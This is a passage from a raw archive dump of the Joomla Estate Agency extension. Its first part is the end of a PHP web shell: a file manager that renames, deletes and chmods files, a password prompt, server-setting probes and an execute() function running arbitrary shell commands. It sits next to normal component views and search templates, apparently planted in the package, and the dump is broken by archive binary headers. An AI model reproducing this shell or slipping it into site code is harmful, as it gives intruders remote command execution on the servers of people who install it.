value="Go"> <input type="button"
id="lt" value="Cancel"
onClick="xyn(\'h'.$file.'\',\'c'.$file.'\');"></form></span></td><td
id="fc"
align="center">'.$own['name'].' :
'.$grp['name'].'</td>'; if($i==0 or $i==1)
{print '<td id="fc"></td><tr
id="fn">';} else {print '<td id="fc"
align="center"><a
href="javascript:xyn(\'r'.$file.'\',\'n'.$file.'\')">[R]</a>
<a
href="javascript:xyn(\'d'.$file.'\',\'n'.$file.'\')">[D]</a></td><tr
id="fn">';} $i++;}
foreach($filex as $file) {if(function_exists('posix_getpwuid')
&& function_exists('posix_getgrgid'))
{$own=posix_getpwuid(fileowner($file));
$grp=posix_getgrgid(filegroup($file));} else
{$own['name']='???';
$grp['name']='???';} print '<td
id="fc"><span id="n'.$file.'"><a
href="?x=c&d='.realpath('.').'&f='.$file.'">'.$file.'</a></span><span
id="r'.$file.'"
style="display:none;"><form
action="?d='.realpath('.').'"
method="POST"><input type="hidden"
value="'.realpath('.').'"
name="d"> <input type="text" id="lt"
value="'.$file.'" name="new"><input
type="hidden" value="'.$file.'"
name="old"><input type="submit" id="lt"
value="Rename"><input type="button"
id="lt" value="Cancel"
onClick="xyn(\'n'.$file.'\',\'r'.$file.'\');"></form></span><span
id="d'.$file.'"
style="display:none;"><form
action="?d='.realpath('.').'"
method="GET">Are you Sure?<input type="hidden"
value="'.realpath($file).'" name="delf">
<input type="submit" value="Yes"
id="lt"> <input type="button" id="lt"
value="No"
onClick="xyn(\'n'.$file.'\',\'d'.$file.'\')"></form></span></td><td
id="fc" align="center"><span
id="h'.$file.'"><a
href="javascript:xyn(\'c'.$file.'\',\'h'.$file.'\');"><font
color="'.get_color($file).'">'.perms($file).'</font></a></span><span
id="c'.$file.'"
style="display:none;"><form
action="?d='.realpath('.').'"
method="GET"><input type="hidden"
value="'.realpath($file).'"
name="df"><input type="text"
value="'.perms($file).'" id="lt"
name="ch"> <input type="submit" id="lt"
value="Go"> <input type="button"
id="lt" value="Cancel"
onClick="xyn(\'h'.$file.'\',\'c'.$file.'\');"></form></span></td><td
id="fc"
align="center">'.$own['name'].' :
'.$grp['name'].'</td><td id="fc"
align="center"><a
href="javascript:xyn(\'r'.$file.'\',\'n'.$file.'\')">[R]</a>
<a
href="javascript:xyn(\'d'.$file.'\',\'n'.$file.'\');">[D]</a></td><tr
id="fn">';}}
print '</table></br></br></br>';
}
function openbase_dir(){$x=ini_get('open_basedir');if(!$x)
{$o='<font color=#ccff00>OFF</font>';}else
{$o='<font color=crimson>ON</font>';}return($o);}
function magic_quotes(){$x=get_magic_quotes_gpc();if(empty($x))
{$m='<font color=#ccff00>OFF</font>';}else
{$m='<font color=crimson>ON</font>';}return($m);}
function curl(){if(extension_loaded('curl')) {$c='<font
color=crimson>ON</font>';}else {$c='<font
color=#ccff00>OFF</font>';}return($c);}
function reg_globals(){if(ini_get('reqister_globals'))
{$r='<font color=crimson>ON</font>';}else
{$r='<font color=#ccff00>OFF</font>';}return($r);}
function oracle(){if(function_exists('ocilogon'))
{$o='<font color=crimson>ON</font>';}else
{$o='<font color=#ccff00>OFF</font>';}return($o);}
function postgresql(){if(function_exists('pg_connect'))
{$p='<font color=crimson>ON</font>';}else
{$p='<font color=#ccff00>OFF</font>';}return($p);}
function myql(){if(function_exists('mysql_connect'))
{$m='<font color=crimson>ON</font>';}else
{$m='<font color=#ccff00>OFF</font>';}return($m);}
function mssql(){if(function_exists('mssql_connect'))
{$m='<font color=crimson>ON</font>';}else
{$m='<font color=#ccff00>OFF</font>';}return($m);}
function gzip(){if(function_exists('gzencode'))
{$m='<font color=crimson>ON</font>';}else
{$m='<font color=#ccff00>OFF</font>';}return($m);}
function h_size($s){if($s>=1073741824) {$s=round($s/1073741824*100)/100
.'GB';}elseif($s>=1048576) {$s=round($s/1048576*100)/100
.'MB';}elseif($s>=1024) {$s=round($s/1024*100)/100
.'KB';}else {$s=$s.'B';}return($s);}
function curpath($d){if($d=='')
{$d=getcwd();}$p='';$n='';$dx=explode(DIRECTORY_SEPARATOR,$d);for($i=0;$i
< count($dx);$i++) {$g=$dx[$i];$p.=$dx[$i] . DIRECTORY_SEPARATOR; $n
.='<a
href="?d='.$p.'">'.$g.'</a>'.DIRECTORY_SEPARATOR;}return($n);}
function get_color($f){if(is_writable($f))
{$c='#ccff00';}if(!is_writable($f) && is_readable($f))
{$c=''.$txtC.'';}if(!is_writable($f) &&
!is_readable($f)) {$c='crimson';}return($c);}
function perms($f) {if(file_exists($f)) {return
substr(sprintf('%o',fileperms($f)), -4);} else {return
'???';}}
function exec_meth() {if(function_exists('passthru'))
{$m='passthru';} if(function_exists('exec'))
{$m='exec';} if(function_exists('shell_exec'))
{$m='shell_exec';} if(function_exists('system'))
{$m='system';} if(!isset($m)) {$m='Disabled';}
return($m);}
function execute($m,$c) {if($m=='passthru') {passthru($c);}
elseif($m=='system') {system($c);}
elseif($m=='shell_exec') {print shell_exec($c);}
elseif($m=='exec') {exec($c,$r); foreach($r as $o) {print
$o.'</br>';}} else {print 'xxxte?';}}
function initiate(){print '<table border=0 width=100% height=100%
align=center style="background:#333333;color:silver;"><td
valign="middle"><center><form
action="'.basename(__FILE__).'"
method="POST">Password <input type="password"
maxlength="10" name="pass"
style="background:#333333;color:silver;border-radius:10px;border:1px
solid silver;text-align:center;"> <input type="submit"
value=">>"
style="background:#333333;color:silver;border-radius:10px;border:1px
solid
silver;"></form></center></td></table>';}
function let_him_in() { header("Location: ".basename(__FILE__));
}
print $end;
?>PKK��[�6b�� � views/form/view.html.phpnu�[���<?php
/**
* This file is part of Joomla Estate Agency - Joomla! extension for real
estate agency
*
* @package Joomla.Site
* @subpackage com_jea
* @copyright Copyright (C) 2008 - 2020 PHILIP Sylvain. All rights
reserved.
* @license GNU General Public License version 2 or later; see
LICENSE.txt
*/
defined('_JEXEC') or die;
/**
* Property form view.
*
* @package Joomla.Site
* @subpackage com_jea
*
* @since 2.0
*/
class JeaViewForm extends JViewLegacy
{
/**
* The form object
*
* @var JForm
*/
protected $form;
/**
* The database record
*
* @var JObject|boolean
*/
protected $item;
/**
* The model state
*
* @var JObject
*/
protected $state;
/**
* The component parameters
*
* @var Joomla\Registry\Registry
*/
protected $params;
/**
* Overrides parent method.
*
* @param string $tpl The name of the template file to parse.
*
* @return mixed A string if successful, otherwise an Error object.
*
* @see JViewLegacy::display()
*/
public function display($tpl = null)
{
JHtml::stylesheet('com_jea/jea.css', array('relative'
=> true));
$app = JFactory::getApplication();
$user = JFactory::getUser();
$this->form = $this->get('Form');
$this->item = $this->get('Item');
$this->state = $this->get('State');
$this->params = $app->getParams();
$authorised = false;
if (empty($this->item->id))
{
if (!$user->id)
{
// When user is not authenticated
if ($this->params->get('login_behavior') ==
'before')
{
$return = base64_encode(JFactory::getURI());
$message = JText::_('JGLOBAL_YOU_MUST_LOGIN_FIRST');
$redirect =
JRoute::_('index.php?option=com_users&view=login&return='
. $return, false);
$app->redirect($redirect, $message);
}
else
{
// The user should be redirected on the login form after the form
submission.
$authorised = true;
}
}
else
{
$authorised = $user->authorise('core.create',
'com_jea');
}
}
else
{
$asset = 'com_jea.property.' . $this->item->id;
// Check general edit permission first.
if ($user->authorise('core.edit', $asset))
{
$authorised = true;
}
elseif ($user->authorise('core.edit.own', $asset)
&& $this->item->created_by == $user->id)
{
$authorised = true;
}
}
if (!$authorised)
{
throw new RuntimeException(JText::_('JERROR_ALERTNOAUTHOR'));
}
parent::display($tpl);
}
}
PKK��[��̹%�%#views/properties/tmpl/searchmap.phpnu�[���<?php
/**
* This file is part of Joomla Estate Agency - Joomla! extension for real
estate agency
*
* @package Joomla.Site
* @subpackage com_jea
* @copyright Copyright (C) 2008 - 2020 PHILIP Sylvain. All rights
reserved.
* @license GNU General Public License version 2 or later; see
LICENSE.txt
*/
defined('_JEXEC') or die;
/**
*
* @var $this JeaViewProperties
*/
JHtml::addIncludePath(JPATH_COMPONENT_ADMINISTRATOR .
'/helpers/html');
JHtml::addIncludePath(JPATH_COMPONENT . '/helpers/html');
$transactionType =
$this->params->get('searchform_transaction_type');
$Itemid =
JFactory::getApplication()->input->getInt('Itemid', 0);
$states = array();
$filters = $this->get('Filters');
foreach ($filters as $name => $defaultValue)
{
$states['filter_' . $name] =
$this->state->get('filter.' . $name, $defaultValue);
}
$states['filter_transaction_type'] = $transactionType;
$fields = json_encode($states);
$langs = explode('-', $this->document->getLanguage());
$lang = $langs[0];
$region = $langs[1];
$this->document->addScript(
'https://maps.google.com/maps/api/js?key=' .
$this->params->get('googlemap_api_key') .
'&language=' . $lang . '&region=' .
$region
);
// Include jQuery
JHtml::_('jquery.framework');
JHTML::script('com_jea/jquery-search.js',
array('relative' => true));
JHtml::script('com_jea/geoxml3.js', array('relative'
=> true));
JHTML::script('com_jea/jquery-geoSearch.js',
array('relative' => true));
JHTML::script('com_jea/jquery-ui-draggable.min.js',
array('relative' => true));
JHTML::script('com_jea/jquery-biSlider.js',
array('relative' => true));
$model = $this->getModel();
$fieldsLimit = json_encode(
array(
'RENTING' => array(
'price' => $model->getFieldLimit('price',
'RENTING'),
'surface' =>
$model->getFieldLimit('living_space', 'RENTING')
),
'SELLING' => array(
'price' => $model->getFieldLimit('price',
'SELLING'),
'surface' =>
$model->getFieldLimit('living_space', 'SELLING')
)
)
);
$default_area =
$this->params->get('searchform_default_map_area', $lang);
$currency_symbol = $this->params->get('currency_symbol',
'€');
$surface_measure = $this->params->get('surface_measure');
$map_width = $this->params->get('searchform_map_width', 0);
$map_height = $this->params->get('searchform_map_height',
400);
$script =<<<JS
jQuery(function($) {
var minPrice = 0;
var maxPrice = 0;
var minSpace = 0;
var maxSpace = 0;
function updateSliders()
{
if(!$('#price_slider') &&
!$('#space_slider')) {
return;
}
var transaction_type = 'SELLING';
var transTypes =
$('#jea-search-form').find('[name=\"filter_transaction_type\"]');
jQuery.each(transTypes, function(idx, item){
if ($(item).prop('checked')) {
transaction_type = $(item).val();
}
})
var fieldsLimit = $fieldsLimit;
minPrice = fieldsLimit[transaction_type].price[0];
maxPrice = fieldsLimit[transaction_type].price[1];
minSpace = fieldsLimit[transaction_type].surface[0];
maxSpace = fieldsLimit[transaction_type].surface[1];
$('#budget_min').val(minPrice);
$('#budget_max').val(maxPrice);
$('#min_price_value').text(minPrice + '
$currency_symbol');
$('#max_price_value').text(maxPrice + '
$currency_symbol');
$('#living_space_min').val(minSpace);
$('#living_space_max').val(maxSpace);
$('#min_space_value').text(minSpace + '
$surface_measure');
$('#max_space_value').text(maxSpace + '
$surface_measure');
}
var jeaSearch = new JEASearch('#jea-search-form',
{fields:$fields, useAJAX:true,
transactionType:'$transactionType'});
jeaSearch.refresh();
geoSearch = new JEAGeoSearch('map_canvas', {
counterElement : 'properties_count',
defaultArea : '{$default_area}',
form : 'jea-search-form',
Itemid : {$Itemid}
});
updateSliders();
geoSearch.refresh();
jeaSearch.refresh();
$('#jea-search-form').on('reset', function(){
jeaSearch.reset();
updateSliders();
geoSearch.refresh();
});
$('#filter_type_id, #filter_department_id, #filter_town_id,
#filter_area_id, #rooms_min, .amenities input').on('change',
function() {
geoSearch.refresh();
});
$('#jea-search-selling,
#jea-search-renting').on('change', function() {
updateSliders();
geoSearch.refresh();
});
$('#price_slider').bislider({
steps:100,
onChange: function(steps) {
var priceDiff = maxPrice - minPrice;
$('#budget_min').val(Math.round(((priceDiff * steps.minimum )
/ 100) + minPrice));
$('#budget_max').val(Math.round(((priceDiff * steps.maximum )
/ 100) + minPrice));
$('#min_price_value').text($('#budget_min').val() +
' $currency_symbol');
$('#max_price_value').text($('#budget_max').val() +
' $currency_symbol');
},
onComplete: function(step) {
geoSearch.refresh();
}
})
$('#space_slider').bislider({
steps:100,
onChange: function(steps) {
var spaceDiff = maxSpace - minSpace;
$('#living_space_min').val(Math.round(((spaceDiff *
steps.minimum ) / 100) + minSpace));
$('#living_space_max').val(Math.round(((spaceDiff *
steps.maximum ) / 100) + minSpace));
$('#min_space_value').text($('#living_space_min').val()
+ ' $surface_measure');
$('#max_space_value').text($('#living_space_max').val()
+ ' $surface_measure');
},
onComplete: function(step) {
geoSearch.refresh();
}
})
});
JS;
$this->document->addScriptDeclaration($script);
?>
<?php if ($this->params->get('show_page_heading', 1)) :
?>
<?php if ($this->params->get('page_heading')) : ?>
<h1><?php echo
$this->escape($this->params->get('page_heading'))
?></h1>
<?php else: ?>
<h1><?php echo
$this->escape($this->params->get('page_title'))
?></h1>
<?php endif ?>
<?php endif ?>
<form action="<?php echo
JRoute::_('index.php?option=com_jea&task=properties.search')
?>" method="post" id="jea-search-form">
<p>
<?php echo JHtml::_('features.types',
$this->state->get('filter.type_id', 0),
'filter_type_id') ?>
<?php if ($transactionType == 'RENTING'): ?>
<input type="hidden"
name="filter_transaction_type" value="RENTING" />
<?php elseif($transactionType == 'SELLING'): ?>
<input type="hidden"
name="filter_transaction_type" value="SELLING" />
<?php else: ?>
<input type="radio" name="filter_transaction_type"
id="jea-search-selling" value="SELLING"
<?php if ($states['filter_transaction_type'] ==
'SELLING') echo 'checked="checked"' ?>
/>
<label for="jea-search-selling"><?php echo
JText::_('COM_JEA_OPTION_SELLING') ?></label>
<input type="radio" name="filter_transaction_type"
id="jea-search-renting" value="RENTING"
<?php if ($states['filter_transaction_type'] ==
'RENTING') echo 'checked="checked"' ?>
/>
<label for="jea-search-renting"><?php echo
JText::_('COM_JEA_OPTION_RENTING') ?></label>
<?php endif ?>
</p>
<p>
<?php if
($this->params->get('searchform_show_departments', 1)):
?>
<?php echo JHtml::_('features.departments',
$states['filter_department_id'], 'filter_department_id'
) ?>
<?php endif ?>
<?php if ($this->params->get('searchform_show_towns',
1)): ?>
<?php echo JHtml::_('features.towns',
$states['filter_town_id'], 'filter_town_id' ) ?>
<?php endif ?>
<?php if ($this->params->get('searchform_show_areas',
1)): ?>
<?php echo JHtml::_('features.areas',
$states['filter_area_id'], 'filter_area_id' ) ?>
<?php endif ?>
<span id="found_properties"><?php echo
JText::_('COM_JEA_FOUND_PROPERTIES')?> : <span
id="properties_count">0</span></span>
</p>
<div id="map_canvas" style="width: <?php echo
$map_width ? $map_width.'px': '100%'?>; height:
<?php echo $map_height.'px'?>"></div>
<div class="clr"></div>
<?php if ($this->params->get('searchform_show_budget',
1)): ?>
<div class="jea_slider_block">
<h2><?php echo JText::_('COM_JEA_BUDGET')
?></h2>
<div id="price_slider"
class="slider_background">
<div id="knob1" class="knob"></div>
<div id="knob2" class="knob"></div>
</div>
<div class="slider_infos">
<span class="slider_min_value"
id="min_price_value">0</span>
<?php echo JText::_('COM_JEA_TO') ?>
<span class="slider_max_value"
id="max_price_value">0</span>
</div>
<input id="budget_max" type="hidden"
name="filter_budget_max" />
<input id="budget_min" type="hidden"
name="filter_budget_min" />
</div>
<?php endif ?>
<?php if
($this->params->get('searchform_show_living_space', 1)):
?>
<div class="jea_slider_block">
<h2><?php echo
JText::_('COM_JEA_FIELD_LIVING_SPACE_LABEL') ?></h2>
<div id="space_slider"
class="slider_background">
<div id="knob3" class="knob"></div>
<div id="knob4" class="knob"></div>
</div>
<div class="slider_infos">
<span class="slider_min_value"
id="min_space_value">0</span>
<?php echo JText::_('COM_JEA_TO') ?>
<span class="slider_max_value"
id="max_space_value">0</span>
</div>
<input id="living_space_min" type="hidden"
name="filter_living_space_min" />
<input id="living_space_max" type="hidden"
name="filter_living_space_max" />
</div>
<?php endif; ?>
<?php if
($this->params->get('searchform_show_number_of_rooms', 1)):
?>
<p>
<?php echo JText::_('COM_JEA_NUMBER_OF_ROOMS_MIN') ?>:
<input type="text" id="rooms_min"
name="filter_rooms_min" size="1" />
</p>
<?php endif; ?>
<div class="clr"></div>
<?php if
($this->params->get('searchform_show_amenities', 1)): ?>
<div class="amenities">
<?php echo JHtml::_('amenities.checkboxes',
$states['filter_amenities'], 'filter_amenities' ) ?>
<?php // In order to prevent null post for this field ?>
<input type="hidden" name="filter_amenities[]"
value="0" />
</div>
<?php endif; ?>
<p>
<input type="reset" class="button"
value="<?php echo JText::_('JSEARCH_FILTER_CLEAR')
?>" />
<input type="submit" class="button"
value="<?php echo JText::_('COM_JEA_LIST_PROPERTIES')
?>" />
</p>
</form>
PKK��[�����
views/properties/tmpl/search.xmlnu�[���<?xml
version="1.0" encoding="utf-8"?>
<metadata>
<layout title="COM_JEA_PROPERTIES_SEARCH_LAYOUT_TITLE">
<message>
<![CDATA[COM_JEA_PROPERTIES_SEARCH_LAYOUT_DESC]]>
</message>
</layout>
<fields name="params">
<fieldset name="basic"
label="COM_JEA_MENU_PARAMS_LABEL">
<field name="searchform_use_ajax" type="list"
label="COM_JEA_FIELD_USE_AJAX_LABEL"
description="COM_JEA_FIELD_USE_AJAX_DESC">
<option value="">JGLOBAL_USE_GLOBAL</option>
<option value="1">JYES</option>
<option value="0">JNO</option>
</field>
<field name="searchform_transaction_type"
type="list"
label="COM_JEA_FIELD_TRANSACTION_TYPE_LABEL"
description="COM_JEA_FIELD_SEARCHFORM_TRANSACTION_TYPE_DESC">
<option value="">JALL</option>
<option
value="SELLING">COM_JEA_OPTION_SELLING</option>
<option
value="RENTING">COM_JEA_OPTION_RENTING</option>
</field>
<field name="searchform_show_freesearch"
type="list"
label="COM_JEA_FIELD_SEARCHFORM_FREE_SEARCH_LABEL"
description="COM_JEA_FIELD_SEARCHFORM_FREE_SEARCH_DESC">
<option value="">JGLOBAL_USE_GLOBAL</option>
<option value="0">JHIDE</option>
<option value="1">JSHOW</option>
</field>
<field name="searchform_show_departments"
type="list"
label="COM_JEA_FIELD_SEARCHFORM_DEPARTMENTS_LABEL">
<option value="">JGLOBAL_USE_GLOBAL</option>
<option value="0">JHIDE</option>
<option value="1">JSHOW</option>
</field>
<field name="searchform_show_towns" type="list"
label="COM_JEA_FIELD_SEARCHFORM_TOWNS_LABEL">
<option value="">JGLOBAL_USE_GLOBAL</option>
<option value="0">JHIDE</option>
<option value="1">JSHOW</option>
</field>
<field name="searchform_show_areas" type="list"
label="COM_JEA_FIELD_SEARCHFORM_AREAS_LABEL">
<option value="">JGLOBAL_USE_GLOBAL</option>
<option value="0">JHIDE</option>
<option value="1">JSHOW</option>
</field>
<field name="searchform_show_zip_codes"
type="list"
label="COM_JEA_FIELD_SEARCHFORM_ZIP_CODES_LABEL">
<option value="">JGLOBAL_USE_GLOBAL</option>
<option value="0">JHIDE</option>
<option value="1">JSHOW</option>
</field>
<field name="searchform_show_budget" type="list"
label="COM_JEA_FIELD_SEARCHFORM_BUDGET_LABEL">
<option value="">JGLOBAL_USE_GLOBAL</option>
<option value="0">JHIDE</option>
<option value="1">JSHOW</option>
</field>
<field name="searchform_show_living_space"
type="list"
label="COM_JEA_FIELD_SEARCHFORM_LIVING_SPACE_LABEL">
<option value="">JGLOBAL_USE_GLOBAL</option>
<option value="0">JHIDE</option>
<option value="1">JSHOW</option>
</field>
<field name="searchform_show_land_space"
type="list"
label="COM_JEA_FIELD_SEARCHFORM_LAND_SPACE_LABEL">
<option value="">JGLOBAL_USE_GLOBAL</option>
<option value="0">JHIDE</option>
<option value="1">JSHOW</option>
</field>
<field name="searchform_show_number_of_rooms"
type="list"
label="COM_JEA_FIELD_SEARCHFORM_NUMBER_OF_ROOMS_LABEL">
<option value="">JGLOBAL_USE_GLOBAL</option>
<option value="0">JHIDE</option>
<option value="1">JSHOW</option>
</field>
<field name="searchform_show_number_of_bedrooms"
type="list"
label="COM_JEA_FIELD_SEARCHFORM_NUMBER_OF_BEDROOMS_LABEL">
<option value="">JGLOBAL_USE_GLOBAL</option>
<option value="0">JHIDE</option>
<option value="1">JSHOW</option>
</field>
<field name="searchform_show_number_of_bathrooms"
type="list"
label="COM_JEA_FIELD_SEARCHFORM_NUMBER_OF_BATHROOMS_LABEL">
<option value="">JGLOBAL_USE_GLOBAL</option>
<option value="0">JHIDE</option>
<option value="1">JSHOW</option>
</field>
<field name="searchform_show_floor" type="list"
label="COM_JEA_FIELD_SEARCHFORM_FLOOR_LABEL">
<option value="">JGLOBAL_USE_GLOBAL</option>
<option value="0">JHIDE</option>
<option value="1">JSHOW</option>
</field>
<field name="searchform_show_hotwatertypes"
type="list"
label="COM_JEA_FIELD_SEARCHFORM_HOT_WATER_TYPES_LABEL">
<option value="">JGLOBAL_USE_GLOBAL</option>
<option value="0">JHIDE</option>
<option value="1">JSHOW</option>
</field>
<field name="searchform_show_heatingtypes"
type="list"
label="COM_JEA_FIELD_SEARCHFORM_HEATING_TYPES_LABEL">
<option value="">JGLOBAL_USE_GLOBAL</option>
<option value="0">JHIDE</option>
<option value="1">JSHOW</option>
</field>
<field name="searchform_show_conditions"
type="list"
label="COM_JEA_FIELD_SEARCHFORM_CONDITION_LABEL">
<option value="">JGLOBAL_USE_GLOBAL</option>
<option value="0">JHIDE</option>
<option value="1">JSHOW</option>
</field>
<field name="searchform_show_orientation"
type="list"
label="COM_JEA_FIELD_SEARCHFORM_ORIENTATION_LABEL">
<option value="">JGLOBAL_USE_GLOBAL</option>
<option value="0">JHIDE</option>
<option value="1">JSHOW</option>
</field>
<field name="searchform_show_amenities"
type="list"
label="COM_JEA_FIELD_SEARCHFORM_AMENITIES_LABEL">
<option value="">JGLOBAL_USE_GLOBAL</option>
<option value="0">JHIDE</option>
<option value="1">JSHOW</option>
</field>
</fieldset>
</fields>
</metadata>
PKK��[�e���-�-
views/properties/tmpl/search.phpnu�[���<?php
/**
* This file is part of Joomla Estate Agency - Joomla! extension for real
estate agency
*
* @package Joomla.Site
* @subpackage com_jea
* @copyright Copyright (C) 2008 - 2020 PHILIP Sylvain. All rights
reserved.
* @license GNU General Public License version 2 or later; see
LICENSE.txt
*/
defined('_JEXEC') or die;
/**
*
* @var $this JeaViewProperties
*/
JHtml::addIncludePath(JPATH_COMPONENT_ADMINISTRATOR .
'/helpers/html');
JHtml::addIncludePath(JPATH_COMPONENT . '/helpers/html');
$useAjax = $this->params->get('searchform_use_ajax', 0);
$transactionType =
$this->params->get('searchform_transaction_type');
$showLocalization =
$this->params->get('searchform_show_departments') ||
$this->params->get('searchform_show_towns') ||
$this->params->get('searchform_show_areas') ||
$this->params->get('searchform_show_zip_codes');
$showOtherFilters =
$this->params->get('searchform_show_number_of_rooms') ||
$this->params->get('searchform_show_number_of_bedrooms')
||
$this->params->get('searchform_show_number_of_bathrooms')
||
$this->params->get('searchform_show_floor') ||
$this->params->get('searchform_show_hotwatertypes') ||
$this->params->get('searchform_show_heatingtypes') ||
$this->params->get('searchform_show_conditions') ||
$this->params->get('searchform_show_orientation');
$states = array();
$filters = $this->get('Filters');
foreach ($filters as $name => $defaultValue)
{
$states['filter_' . $name] =
$this->state->get('filter.' . $name, $defaultValue);
}
$states['filter_transaction_type'] = $transactionType;
$fields = json_encode($states);
$ajax = $useAjax ? 'true' : 'false';
// Include jQuery
JHtml::_('jquery.framework');
JHTML::script('com_jea/jquery-search.js',
array('relative' => true));
$script = <<<JS
jQuery(function($) {
var jeaSearch = new JEASearch('#jea-search-form',
{fields:$fields, useAJAX:$ajax,
transactionType:'$transactionType'});
jeaSearch.refresh();
});
JS;
$this->document->addScriptDeclaration($script);
?>
<?php if ($this->params->get('show_page_heading', 1)) :
?>
<?php if ($this->params->get('page_heading')) : ?>
<h1><?php echo
$this->escape($this->params->get('page_heading'))
?></h1>
<?php else: ?>
<h1><?php echo
$this->escape($this->params->get('page_title'))
?></h1>
<?php endif ?>
<?php endif ?>
<form action="<?php echo
JRoute::_('index.php?option=com_jea&task=properties.search')
?>" method="post" id="jea-search-form">
<?php if
($this->params->get('searchform_show_freesearch')): ?>
<p>
<label for="jea-search"><?php echo
JText::_('COM_JEA_SEARCH_LABEL')?> : </label>
<input type="text" name="filter_search"
id="jea-search" value="<?php echo
$states['filter_search'] ?>" />
<input type="submit" class="button"
value="<?php echo
JText::_('JSEARCH_FILTER_SUBMIT')?>" />
</p>
<hr />
<?php endif ?>
<?php if ($useAjax): ?>
<div class="jea-counter">
<span class="jea-counter-result">0</span> <?php
echo JText::_('COM_JEA_FOUND_PROPERTIES')?>
</div>
<?php endif ?>
<p>
<?php echo JHtml::_('features.types',
$this->state->get('filter.type_id', 0),
'filter_type_id') ?>
<?php if ($transactionType == 'RENTING'): ?>
<input type="hidden"
name="filter_transaction_type" value="RENTING" />
<?php elseif($transactionType == 'SELLING'): ?>
<input type="hidden"
name="filter_transaction_type" value="SELLING" />
<?php else: ?>
<input type="radio" name="filter_transaction_type"
id="jea-search-selling" value="SELLING"
<?php if ($states['filter_transaction_type'] ==
'SELLING') echo 'checked="checked"' ?>
/>
<label for="jea-search-selling"><?php echo
JText::_('COM_JEA_OPTION_SELLING') ?></label>
<input type="radio" name="filter_transaction_type"
id="jea-search-renting" value="RENTING"
<?php if ($states['filter_transaction_type'] ==
'RENTING') echo 'checked="checked"' ?>
/>
<label for="jea-search-renting"><?php echo
JText::_('COM_JEA_OPTION_RENTING') ?></label>
<?php endif ?>
</p>
<?php if ($showLocalization): ?>
<h2><?php echo JText::_('COM_JEA_LOCALIZATION') ?>
:</h2>
<p>
<?php if
($this->params->get('searchform_show_departments', 1)):
?>
<?php echo JHtml::_('features.departments',
$states['filter_department_id'], 'filter_department_id'
) ?>
<?php endif ?>
<?php if ($this->params->get('searchform_show_towns',
1)): ?>
<?php echo JHtml::_('features.towns',
$states['filter_town_id'], 'filter_town_id' ) ?>
<?php endif ?>
<?php if ($this->params->get('searchform_show_areas',
1)): ?>
<?php echo JHtml::_('features.areas',
$states['filter_area_id'], 'filter_area_id' ) ?>
<?php endif ?>
</p>
<?php if
($this->params->get('searchform_show_zip_codes', 1)): ?>
<p>
<label for="jea-search-zip-codes"><?php echo
JText::_('COM_JEA_SEARCH_ZIP_CODES') ?> : </label>
<input id="jea-search-zip-codes" type="text"
name="filter_zip_codes" size="20" value="<?php
echo $states['filter_zip_codes'] ?>" />
<em><?php echo
JText::_('COM_JEA_SEARCH_ZIP_CODES_DESC') ?></em>
</p>
<?php endif ?>
<?php endif ?>
<?php if ($this->params->get('searchform_show_budget',
1)): ?>
<h2><?php echo JText::_('COM_JEA_BUDGET') ?>
:</h2>
<dl class="col-left">
<dt>
<label for="jea-search-budget-min"><?php echo
JText::_('COM_JEA_MIN') ?> : </label>
</dt>
<dd>
<input id="jea-search-budget-min" type="text"
name="filter_budget_min" size="5" value="<?php
echo $states['filter_budget_min'] ?>" />
<?php echo $this->params->get('currency_symbol',
'€') ?>
</dd>
</dl>
<dl class="col-right">
<dt>
<label for="jea-search-budget-max"><?php echo
JText::_('COM_JEA_MAX') ?> : </label>
</dt>
<dd>
<input id="jea-search-budget-max" type="text"
name="filter_budget_max" size="5" value="<?php
echo $states['filter_budget_max'] ?>" />
<?php echo $this->params->get('currency_symbol',
'€') ?>
</dd>
</dl>
<?php endif ?>
<?php if
($this->params->get('searchform_show_living_space', 1)):
?>
<h2><?php echo
JText::_('COM_JEA_FIELD_LIVING_SPACE_LABEL') ?> :</h2>
<dl class="col-left">
<dt>
<label for="jea-search-living-space-min"><?php echo
JText::_('COM_JEA_MIN') ?> : </label>
</dt>
<dd>
<input id="jea-search-living-space-min"
type="text" name="filter_living_space_min"
size="5"
value="<?php echo $states['filter_living_space_min']
?>" />
<?php echo $this->params->get( 'surface_measure' )
?>
</dd>
</dl>
<dl class="col-right">
<dt>
<label for="jea-search-living-space-max"><?php echo
JText::_('COM_JEA_MAX') ?> : </label>
</dt>
<dd>
<input id="jea-search-living-space-max"
type="text" name="filter_living_space_max"
size="5"
value="<?php echo $states['filter_living_space_max']
?>" />
<?php echo $this->params->get( 'surface_measure' )
?>
</dd>
</dl>
<?php endif ?>
<?php if
($this->params->get('searchform_show_land_space', 1)):
?>
<h2><?php echo
JText::_('COM_JEA_FIELD_LAND_SPACE_LABEL') ?> :</h2>
<dl class="col-left">
<dt>
<label for="jea-search-land-space-min"><?php echo
JText::_('COM_JEA_MIN') ?> : </label>
</dt>
<dd>
<input id="jea-search-land-space-min" type="text"
name="filter_land_space_min" size="5"
value="<?php echo $states['filter_land_space_min']
?>" />
<?php echo $this->params->get( 'surface_measure' )
?>
</dd>
</dl>
<dl class="col-right">
<dt>
<label for="jea-search-land-space-max"><?php echo
JText::_('COM_JEA_MAX') ?> : </label>
</dt>
<dd>
<input id="jea-search-land-space-max" type="text"
name="filter_land_space_max" size="5"
value="<?php echo $states['filter_land_space_max']
?>" />
<?php echo $this->params->get( 'surface_measure' )
?>
</dd>
</dl>
<?php endif ?>
<?php if ($showOtherFilters): ?>
<h2><?php echo JText::_('COM_JEA_SEARCH_OTHER') ?>
:</h2>
<ul class="jea-search-other">
<?php if
($this->params->get('searchform_show_number_of_rooms', 1)):
?>
<li>
<label for="jea-search-rooms"><?php echo
JText::_('COM_JEA_NUMBER_OF_ROOMS_MIN') ?> : </label>
<input id="jea-search-rooms" type="text"
name="filter_rooms_min" size="2" value="<?php
echo $states['filter_rooms_min'] ?>" />
</li>
<?php endif?>
<?php if
($this->params->get('searchform_show_number_of_bedrooms',
1)): ?>
<li>
<label for="jea-search-bedrooms"><?php echo
JText::_('COM_JEA_NUMBER_OF_BEDROOMS_MIN') ?> : </label>
<input id="jea-search-bedrooms" type="text"
name="filter_bedrooms_min" size="2"
value="<?php echo $states['filter_bedrooms_min']
?>" />
</li>
<?php endif?>
<?php if
($this->params->get('searchform_show_number_of_bathrooms',
0)): ?>
<li>
<label for="jea-search-bathrooms"><?php echo
JText::_('COM_JEA_NUMBER_OF_BATHROOMS_MIN') ?> :
</label>
<input id="jea-search-bathrooms" type="text"
name="filter_bathrooms_min" size="2"
value="<?php echo $states['filter_bathrooms_min']
?>" />
</li>
<?php endif?>
<?php if ($this->params->get('searchform_show_floor',
1)): ?>
<li>
<label for="jea-search-floor"><?php echo
